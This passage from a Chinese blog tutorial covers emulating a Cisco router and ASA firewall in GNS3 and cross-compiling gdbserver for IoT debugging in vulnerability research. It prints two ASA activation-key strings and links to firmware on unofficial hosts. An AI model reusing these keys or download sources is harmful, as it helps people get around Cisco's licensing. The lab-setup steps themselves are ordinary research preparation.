src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA52.png" alt="IOT环境搭建52.png"></p><p>一路下一步，保持默认设置即可</p><p>计算并设置 <code>idle</code> 值：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA53.png" alt="IOT环境搭建53.png"></p><p>添加完成：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA54.png" alt="IOT环境搭建54.png"></p><blockquote><p>如果后续需要设置路由器的插槽模块和其他配置，点击 Edit 进行修改即可</p></blockquote><p>新建一个 GNS3 项目，拖出一个 c7200 路由器，在路由器上右键选择 <code>start</code> 开启路由器，如果正常开机，右上角会由红色变为绿色：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA55.png" alt="IOT环境搭建55.png"></p><p>然后在路由器上右键选择 <code>console</code>，不出意外的话会弹出 SecureCRT 的终端，检查是否显示路由器设备型号，型号是否正确：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA56.png" alt="IOT环境搭建56.png"></p><p>也可以通过 <code>show hardware</code> 命令查看路由器的硬件信息：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA57.png" alt="IOT环境搭建57.png"></p><p>到此就说明我们仿真成功了</p><hr><h3 id="仿真-Cisco-防火墙"><a href="#仿真-Cisco-防火墙" class="headerlink" title="仿真 Cisco 防火墙"></a>仿真 Cisco 防火墙</h3><blockquote><p>Cisco 防火墙名为 ASA（Adaptive Security Appliance）</p></blockquote><p>这里首先要了解一下 Cisco 防火墙的各种文件类型和作用：</p><table><thead><tr><th align="left">文件类型</th><th align="left">作用</th></tr></thead><tbody><tr><td align="left"><code>asa842-k8.bin</code></td><td align="left">Cisco ASA 固件镜像，包括 ASA 防火墙的操作系统和所有相关组件，可以从中获取 <code>asa842-vmlinuz</code> 和 <code>asa842-initrd.gz</code></td></tr><tr><td align="left"><code>asa842-vmlinuz</code></td><td align="left">一个压缩的 Linux 内核镜像文件，包含了所有必要的内核模块和驱动程序，可以启动并管理硬件资源，负责初始化硬件并启动操作系统</td></tr><tr><td align="left"><code>asa842-initrd.gz</code></td><td align="left">包含一个临时的根文件系统，供操作系统内核在引导时使用。内核会先加载 <code>initrd</code>，从中加载必要的驱动程序和文件，直到可以切换到真正的根文件系统</td></tr><tr><td align="left"><code>asav941-200.qcow2</code></td><td align="left">QEMU 磁盘镜像，用来虚拟化存储设备的磁盘映像文件，用作虚拟机的硬盘，存储操作系统、配置和数据，适用于新版本 GNS3 的仿真</td></tr></tbody></table><hr><h4 id="旧版-GNS3"><a href="#旧版-GNS3" class="headerlink" title="旧版 GNS3"></a>旧版 GNS3</h4><blockquote><p><strong>由于一些老版本的 ASA 防火墙固件无法在新版本的 GNS3 下仿真，因此这里记录一下新版 GNS3 与旧版 GNS3 在固件仿真上的区别</strong></p></blockquote><p>以 GNS3 v1.3.10 模拟 ASA842 固件为例</p><ul><li>GNS3 v1.3.10 下载地址：<a href="https://github.com/GNS3/gns3-gui/releases/tag/v1.3.10">Release Version 1.3.10 · GNS3&#x2F;gns3-gui</a>  </li><li>固件下载地址：<a href="https://avocatalgerien.com/wp-content/themes/vantage/images/ASA/?SD">Index of &#x2F;wp-content&#x2F;themes&#x2F;vantage&#x2F;images&#x2F;ASA&#x2F;</a></li></ul><p>与路由器不同，GNS3 要仿真 Cisco 防火墙还需要借助 QEMU</p><p>首先打开 CMD，进入 GNS3 安装目录下的 <code>qemu-2.4.0</code> 文件夹，并执行如下命令：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> C:<span class="token punctuation">\</span>Program Files<span class="token punctuation">\</span>GNS3<span class="token punctuation">\</span>qemu-2.4.0qemu-img create FLASH 512M<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>这会在当前目录下生成一个 512 MB 的 FLASH 文件，这个就是我们的 QEMU 磁盘镜像：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA59.png" alt="IOT环境搭建59.png"></p><p>防火墙固件默认存放在 GNS3 的 <code>/images/QEMU</code> 目录，将该 FLASH 文件移动到 GNS3 的 <code>/images/QEMU</code> 目录下</p><blockquote><p>如果不配置 FLASH 文件，后面仿真可能会报如下错误：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">Reading from flash<span class="token punctuation">..</span>.  Flash <span class="token builtin class-name">read</span> failed  ERROR: MIGRATION - Could not get the startup configuration.  Configuration has non-ASCII characters and will be ignored.Cryptochecksum <span class="token punctuation">(</span>changed<span class="token punctuation">)</span>: d41d8cd9 8f00b204 e9800998 ecf8427e  COREDUMP UPDATE: <span class="token function">open</span> message queue fail: No such <span class="token function">file</span> or directory/2INFO: MIGRATION - Saving the startup errors to <span class="token function">file</span> <span class="token string">'flash:upgrade_startup_errors_202309110814.log'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></blockquote><p>下载我们需要的两个文件：<code>asa842-initrd.gz</code>、<code>asa842-vmlinuz</code></p><p><strong>这两个文件可以直接在网上下载现成的，但也有一些版本是下载不到的，因此也可以考虑自己通过 ASA 固件制作这两个文件</strong></p><p>下载 NCC Group 发布的 <code>asatools</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">git</span> clone <span class="token parameter variable">--recursive</span> https://github.com/nccgroup/asatools /opt/asatools<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>在 <code>asatools/asafw</code> 目录下的 <code>bin.py</code> 就是用来从 ASA 固件 <code>asa842-k8.bin</code> 中获取 <code>asa842-initrd.gz</code> 和 <code>asa842-vmlinuz</code> 的工具：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">python /opt/asatools/asafw/bin.py <span class="token parameter variable">-f</span> ASA防火墙固件路径（如：asa842-k8.bin） <span class="token parameter variable">-u</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA65.png" alt="IOT环境搭建65.png"></p><p>在 ASA 固件 <code>asa842-k8.bin</code> 所在路径下，即可获得这两个文件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA66.png" alt="IOT环境搭建66.png"></p><blockquote><p><code>asatools</code> 是一个专门用于进行 Cisco ASA 防火墙固件处理的工具，功能很强大，其他功能可查看原仓库的介绍：<a href="https://github.com/nccgroup/asatools">nccgroup&#x2F;asatools: Main repository to pull all NCC Group Cisco ASA-related tool projects.</a></p></blockquote><p>在 QEMU 下的 QEMU VMs 中，新建一个 <code>ASA 8.4(2)</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA68.png" alt="IOT环境搭建68.png"></p><p>将 RAM 设为 <code>2048 MB</code>，<em>ASA 防火墙至少需要 2 GB 的内存才能正常工作，否则可能会在启动 ASA 时发生崩溃</em></p><p>同时<strong>将 Qemu binary 改为 <code>qemu-system-i386w.exe</code></strong></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA69.png" alt="IOT环境搭建69.png"></p><p><strong>一般来说，<code>asa842-k8.bin</code> 这种命名的固件是 32 位，而 <code>asa842-smp-k8.bin</code> 为 64 位</strong></p><blockquote><p>注意：</p><p>这一步如果没有更改 Qemu binary 的选项，后面开启 ASA 防火墙的终端时会显示：</p><ul><li>SecureCRT 终端：<code>&quot;The remote system refused the connection.&quot;</code></li><li>Putty 终端：<code>&quot;127.0.0.1:2001 (ASA842-1)-Network error: Connection refused!- (inactive) - [Restart in 3s]&quot;</code></li></ul><p>导致无法连接</p></blockquote><p>选择我们获取的两个文件，注意对应即可：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA70.png" alt="IOT环境搭建70.png"></p><p>点击编辑，将 HDD 的第一块硬盘 <code>hda</code> 设置为前面创建的 FLASH 文件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA71.png" alt="IOT环境搭建71.png"></p><p>其他的配置均保持默认即可</p><p>其中 <code>Kernel command line</code> 默认为：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">ide_generic.probe_mask</span><span class="token operator">=</span>0x01 <span class="token assign-left variable">ide_core.chs</span><span class="token operator">=</span><span class="token number">0.0</span>:980,16,32 auto nousb <span class="token assign-left variable">console</span><span class="token operator">=</span>ttyS0,9600 <span class="token assign-left variable">bigphysarea</span><span class="token operator">=</span><span class="token number">65536</span> <span class="token assign-left variable">ide1</span><span class="token operator">=</span>noprobe no-hlt <span class="token parameter variable">-net</span> nic<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><code>Options</code> 默认为：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token parameter variable">-icount</span> auto <span class="token parameter variable">-hdachs</span> <span class="token number">980,16</span>,32 <span class="token parameter variable">-vga</span> none <span class="token parameter variable">-vnc</span> none<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>拖出一个 ASA842 防火墙，在防火墙上右键点击 <code>start</code>，然后右键打开 <code>console</code>，此时右上角 ASA842 由红色变为绿色：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA72.png" alt="IOT环境搭建72.png"></p><p>这就说明我们设置没有问题，等待 ASA 防火墙开机即可</p><p>仿真成功：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA67.png" alt="IOT环境搭建67.png"></p><p>查看设备信息：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">show version<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA77.png" alt="IOT环境搭建77.png"></p><p>输入 <code>enable</code> 从用户模式进入特权模式，进入系统：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">enable</span>   <span class="token comment"># 可以简写为 en</span><span class="token comment"># Password 密码直接回车，为空即可</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>输入 key 激活：（第二个 key 需要的时间会比较长）</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">activation-key 0x4a3ec071 0x0d86fbf6 0x7cb1bc48 0x8b48b8b0 0xf317c0b5activation-key 0xb23bcf4a 0x1c713b4f 0x7d53bcbc 0xc4f8d09c 0x0e24c6b6<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA73.png" alt="IOT环境搭建73.png"></p><p>将更改写入：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">wr<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA74.png" alt="IOT环境搭建74.png"></p><p>然后重启 ASA 防火墙，就可以看到刚刚的 key 被使用了：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA75.png" alt="IOT环境搭建75.png"></p><hr><h4 id="新版-GNS3"><a href="#新版-GNS3" class="headerlink" title="新版 GNS3"></a>新版 GNS3</h4><blockquote><p>注意：</p><p>旧版本 GNS3（如 GNS3 v1.3.10 版本）在仿真 ASA 防火墙固件时，通常需要 <code>asa842-initrd.gz</code> 和 <code>asa842-vmlinuz</code> 之类的两个文件，其实就是 QEMU 用到的 Linux 内核镜像和 RAM 磁盘映像文件</p><p>但是，在新版本的 GNS3 中不再推荐使用 <code>asa842-initrd.gz</code> 和 <code>asa842-vmlinuz</code> 来进行仿真，而是用 <code>asav</code> 版的固件来替代，否则会有如下弹窗：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA58.png" alt="IOT环境搭建58.png"></p><p>强行添加后，在 GNS3 控制台会报如下警告：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">Warning ASA <span class="token number">8</span> is not supported by GNS3 and Cisco, please use ASAv instead. Depending of your hardware and OS this could not work or you could be limited to one instance. If ASA <span class="token number">8</span> is not booting their is no GNS3 solution, you must to upgrade to ASAv.<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>同时也无法开启路由器（开机后自动关机）</p></blockquote><p>以 GNS3 v2.2.47 模拟 ASA941 固件为例</p><ul><li>GNS3 v2.2.47 下载地址：<a href="https://github.com/GNS3/gns3-gui/releases/tag/v2.2.47">Release Version 2.2.47 · GNS3&#x2F;gns3-gui</a>    </li><li>固件下载地址：<a href="https://upw.io/4w5/asav941-200.qcow2">asav941-200.qcow2</a></li></ul><blockquote><p><strong>使用 qcow2 来导入 ASAv 防火墙固件时，不需要像老版本 GNS3 中那样提取两个固件映像文件</strong></p></blockquote><p>为了确定该 ASA 固件的架构，先在 Kali Linux 下通过 <code>binwalk -Me</code> 解压得到文件系统：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA78.png" alt="IOT环境搭建78.png"></p><p>查看 <code>busybox</code> 文件，提示 <code>busybox</code> 被链接到 <code>busybox.nosuid</code>，查看该文件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA79.png" alt="IOT环境搭建79.png"></p><p>可见该 ASA 固件系统的架构为 x86_64</p><blockquote><p>注意：</p><p><strong>使用 GNS3 模拟 ASAv 版本的固件时，不再需要 FLASH 文件</strong></p></blockquote><p>在 QEMU 下的 QEMU VMs 中，新建一个模板，ASAv 固件建议在 GNS3 VM 中运行：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA76.png" alt="IOT环境搭建76.png"></p><p>选择 x86_64 架构的 QEMU，并将内存设置为 <code>2048 MB</code>：（<em>ASA 防火墙至少需要 2 GB 的内存才能正常工作，否则可能会在启动 ASA 时发生崩溃</em>）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA80.png" alt="IOT环境搭建80.png"></p><p>选择本地的 <code>asav941-200.qcow2</code> 文件，GNS3 会自动将其上传到 GNS3 VM 中：（<em>如果选择 FLASH 文件会导致 ASA 防火墙开启后无法连接</em>）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA81.png" alt="IOT环境搭建81.png"></p><p>设置 ASAv941-200 为安全设备：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA82.png" alt="IOT环境搭建82.png"></p><p>我们拖出一个 ASAv941-200，并右键 <code>start</code> 开启，右上角会由红色转变为绿色：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA83.png" alt="IOT环境搭建83.png"></p><p>这里显示我们的 GNS3 VM 内存不足，将 GNS3 VM 虚拟机的内存给大一点即可</p><p>也可以直接在 GNS3 中设置：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA84.png" alt="IOT环境搭建84.png"></p><p>此时我们尝试通过 <code>ssh</code> 连接 GNS3 VM：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA85.png" alt="IOT环境搭建85.png"></p><p>选择开启一个 shell，可以在 <code>/opt/gns3/images/QEMU</code> 路径下看到我们上传的文件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA86.png" alt="IOT环境搭建86.png"></p><p>到这里，说明我们的 GNS3 VM 配置没有问题</p><p>在 GNS3 中，右键 ASAv941-200 连接上 <code>console</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA87.png" alt="IOT环境搭建87.png"></p><p>发现可以正常开机，仿真成功（刚开机的话会比较慢，需要等待几分钟）</p><p>查看设备信息：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">show version<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>可以看到系统镜像文件是：<code>asa941-smp-k8.bin</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA88.png" alt="IOT环境搭建88.png"></p><p>输入 <code>enable</code> 从用户模式进入特权模式，进入系统：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">enable</span>   <span class="token comment"># 可以简写为 en</span><span class="token comment"># Password 密码直接回车，为空即可</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>查看当前 ASA 防火墙配置：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sh</span> run<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA89.png" alt="IOT环境搭建89.png"></p><p>查看 ASA 设备上运行的内核进程的详细信息：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">show kernel process   <span class="token comment"># 该命令可以提供有关内核进程的名称、进程ID、状态、优先级、CPU使用率等信息</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA90.png" alt="IOT环境搭建90.png"></p><p>可以看到 lina 进程，<strong>lina 是一个包含所有 ASA 功能的 ELF 可执行文件，也是分析研究 ASA 防火墙的关键二进制文件</strong></p><hr><h1 id="IoT-远程调试"><a href="#IoT-远程调试" class="headerlink" title="IoT 远程调试"></a>IoT 远程调试</h1><blockquote><p>我们常使用的 Ubuntu、Kali Linux 都是 x86 架构的，安装的 GDB 通常也只支持 x86 架构，而 IoT 固件需要我们进行 ARM、MIPS 等架构下的调试，而且是使用 gdbserver 进行远程调试</p></blockquote><h2 id="安装-gdb-multiarch"><a href="#安装-gdb-multiarch" class="headerlink" title="安装 gdb-multiarch"></a>安装 gdb-multiarch</h2><blockquote><p>顾名思义，可以理解为这是一个支持多架构的 GDB</p></blockquote><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> gdb-multiarch<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>设置架构的命令为：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 首先运行 gdb-multiarch</span>gdb-multiarch<span class="token comment"># 设置架构为 ARM</span><span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> <span class="token builtin class-name">set</span> architecture arm<span class="token comment"># 输出为：The target architecture is set to "arm".</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>注意：</p><p>由于 GDB 不支持多架构，因此在 GDB 中使用 <code>set architecture arm</code> 命令会报错：<code>Undefined item: &quot;arm&quot;.</code></p><p>这个 <code>gdb-multiarch</code> 安装的版本通常与本机的 GDB 版本一致，且支持多架构，因此无需自己再去手动编译各种架构下的 GDB，我这里是 GDB v13.2：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%959.png" alt="IOT固件仿真与远程调试9.png"></p><p>然而，如果你需要使用其他版本的 GDB，就需要手动编译对应版本的 GDB 源码，同时需要单独编译各种架构下的 GDB，比如 <code>mips-linux-gnu-gdb</code>、<code>arm-linux-gnueabihf-gdb</code> 等</p></blockquote><hr><h2 id="手动编译调试工具"><a href="#手动编译调试工具" class="headerlink" title="手动编译调试工具"></a>手动编译调试工具</h2><blockquote><p>在研究 IoT 漏洞时，我们往往需要上传 gdbserver 进行远程调试（可以是真机，也可以是仿真环境）</p><p>但是，<strong>上传到 IoT 设备的 gdbserver 版本需要与我们本地用于远程连接的 GDB 版本一致</strong>，如果 gdbserver 与 GDB 版本不一致，容易出现一些非预期的问题</p></blockquote><p><em>编译好的 gdbserver 在网上都可以搜到，各种架构、各种版本资源都很多，这里就不说了</em></p><p><em>为了保证 gdbserver 与本地的 GDB 版本一致，当然最好是自己动手编译了</em></p><p>首先查看本地 GDB 版本，我这里以 Kali Linux 自带的 GDB 13.2 为例，在这个网站下载对应版本的 GDB 源码：<a href="https://ftp.gnu.org/gnu/gdb/">Index of &#x2F;gnu&#x2F;gdb</a></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%951.png" alt="IOT固件仿真与远程调试1.png"></p><blockquote><p>如果在物理机上运行 <code>arm-linux-gnueabihf</code> 或 <code>mips-linux-gnu</code> 等交叉编译工具链的话，建议选择与物理机同一个版本的 GDB 比较好</p><p>当然也可以下载其他版本的 GDB 源码，然后自己编译 GDB，就可以获得与物理机不同版本的 GDB，<strong>不过不管 GDB 版本怎么选，gdbserver 的版本一定要和你连接远程所使用的 GDB 版本保持一致</strong></p></blockquote><h3 id="MIPS-架构"><a href="#MIPS-架构" class="headerlink" title="MIPS 架构"></a>MIPS 架构</h3><p>下面以编译 MIPS 架构下的 gdbserver 为例（<code>mipsel</code>）</p><p>首先下载 GDB 源码并解压：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">wget</span> https://ftp.gnu.org/gnu/gdb/gdb-13.2.tar.gz<span class="token function">tar</span> zxvf gdb-13.2.tar.gz<span class="token builtin class-name">cd</span> gdb-13.2/<span class="token function">mkdir</span> gdb13.2_mipsel<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>注意：<strong>由于是编译 MIPS 架构的 gdbserver，因此需要使用交叉编译工具</strong></p><p>安装相关依赖：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># mips</span><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> linux-libc-dev-mips-cross libc6-mips-cross libc6-dev-mips-cross binutils-mips-linux-gnu gcc-mips-linux-gnu g++-mips-linux-gnu<span class="token comment"># mipsel</span><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> linux-libc-dev-mipsel-cross libc6-mipsel-cross libc6-dev-mipsel-cross binutils-mipsel-linux-gnu gcc-mipsel-linux-gnu g++-mipsel-linux-gnu<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><h4 id="编译-GDB"><a href="#编译-GDB" class="headerlink" title="编译 GDB"></a>编译 GDB</h4><p>编译安装：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 由于 GDB 是本机用来连接远程 IoT 设备的 gdbserver 的，所以不用指定 --host 选项和 CC 以及 CXX 变量的值，configure 会自动检测（即：本机运行不需要交叉编译）</span>./configure <span class="token parameter variable">--target</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu"</span> <span class="token parameter variable">--prefix</span><span class="token operator">=</span><span class="token string">"/home/wyy/下载/gdb-13.2/gdb13.2_mipsel/gdb/build/"</span><span class="token function">sudo</span> <span class="token function">make</span> -j<span class="token variable"><span class="token variable">$(</span>nproc<span class="token variable">)</span></span><span class="token function">sudo</span> <span class="token function">make</span> <span class="token function">install</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>执行完成后在 <code>gdb-13.2/gdb13.2_mipsel/gdb/build/bin</code> 路径下会生成一个 <code>mipsel-linux-gnu-gdb</code> 二进制程序，它是 x86 架构，可以直接在本机运行：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E5%9B%BA%E4%BB%B6%E4%BB%BF%E7%9C%9F%E4%B8%8E%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%9517.png" alt="IOT固件仿真与远程调试17.png"></p><hr><h4 id="编译-gdbserver"><a href="#编译-gdbserver" class="headerlink" title="编译 gdbserver"></a>编译 gdbserver</h4><p>编译安装：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 清理缓存，避免与之前的编译配置冲突，如果清理后还是冲突，请重新解压 GDB 源码</span><span class="token function">sudo</span> <span class="token function">make</span> distclean<span class="token comment"># gdbserver 运行在 IoT 设备，因此需要使用交叉编译器</span><span class="token assign-left variable">CC</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu-gcc"</span> <span class="token assign-left variable">CXX</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu-g++"</span> ./configure <span class="token parameter variable">--target</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu"</span> <span class="token parameter variable">--host</span><span class="token operator">=</span><span class="token string">"mipsel-linux-gnu"</span> <span class="token parameter variable">--prefix</span><span class="token operator">=</span><span class="token string">"/home/wyy/下载/gdb-13.2/gdb13.2_mipsel/gdbserver/build/"</span> <span class="token assign-left variable">LDFLAGS</span><span class="token operator">=</span><span class="token string">"-static"</span><span class="token function">sudo</span> <span class="token function">make</span> -j<span class="token variable"><span class="token variable">$(</span>nproc<span class="token variable">)</span></span><span class="token function">sudo</span> <span class="token function">make</span> <span class="token function">install</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>相关参数的解释：</p><table><thead><tr><th align="left">参数</th><th align="left">解释</th></tr></thead><tbody><tr><td align="left"><code>CC</code></td><td align="left">用于编译 C 代码的编译器</td></tr><tr><td align="left"><code>CXX</code></td><td align="left">用于编译 C++ 代码的编译器</td></tr><tr><td align="left"><code>--build</code></td><td align="left">运行编译工具链的平台，也就是正在执行编译操作的平台。<strong>通常都不指定此参数</strong></td></tr><tr><td align="left"><code>--host</code></td><td align="left">可执行程序将运行的平台，如果未指定此参数，则和 <code>--build</code> 相同。<strong>如果 <code>--host</code> 和 <code>--build</code> 不同，是交叉编译</strong>；否则是普通编译</td></tr><tr><td align="left"><code>--target</code></td><td align="left">可执行程序的目标平台，如果未指定此参数，则和 <code>--host</code> 相同。<strong>一般来说，程序将要运行在什么平台，<code>--target</code> 就是什么平台</strong></td></tr><tr><td align="left"><code>LDFLAGS</code></td><td align="left">设置链接器标志，将 <code>-static</code> 传递给链接器，意味着进行静态链接</td></tr></tbody></table><blockquote><p>注意：</p><p>关于 GDB 和 gdbserver 的编译和编译选项，详细说明请参考：<a href="https://cloud.tencent.com/developer/article/1415283">交叉编译问题记录－嵌入式环境下 GDB 的使用方法-腾讯云开发者社区-腾讯云</a></p><p>这里编译的是 <code>mipsel</code>（小端序），如果要编译 <code>mips</code>（大端序），将命令中的 <code>mipsel</code> 改为 <code>mips</code> 即可（不指定参数的情况下，默认都是编译为 32 位程序）</p></blockquote><p>如果编译过程中报错：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">configure: WARNING: no enhanced curses library found<span class="token punctuation">;</span> disabling TUIchecking <span class="token keyword">for</span> library containing tgetent<span class="token punctuation">..</span>. nochecking size of unsigned long long<span class="token punctuation">..</span>. <span class="token number">8</span>checking size of unsigned long<span class="token punctuation">..</span>. <span class="token number">4</span>checking size of unsigned __int128<span class="token punctuation">..</span>. <span class="token number">0</span>checking <span class="token 